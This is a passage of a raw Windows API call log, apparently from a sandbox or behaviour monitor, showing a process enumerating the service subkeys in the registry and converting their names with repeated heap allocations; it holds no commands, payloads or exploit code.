WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.703] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.703] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.704] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.704] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.704] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.704] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.705] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.705] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.705] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.705] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0233.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0233.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0233.706] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0233.707] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0233.708] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0233.709] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0233.710] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0233.711] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0233.712] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: 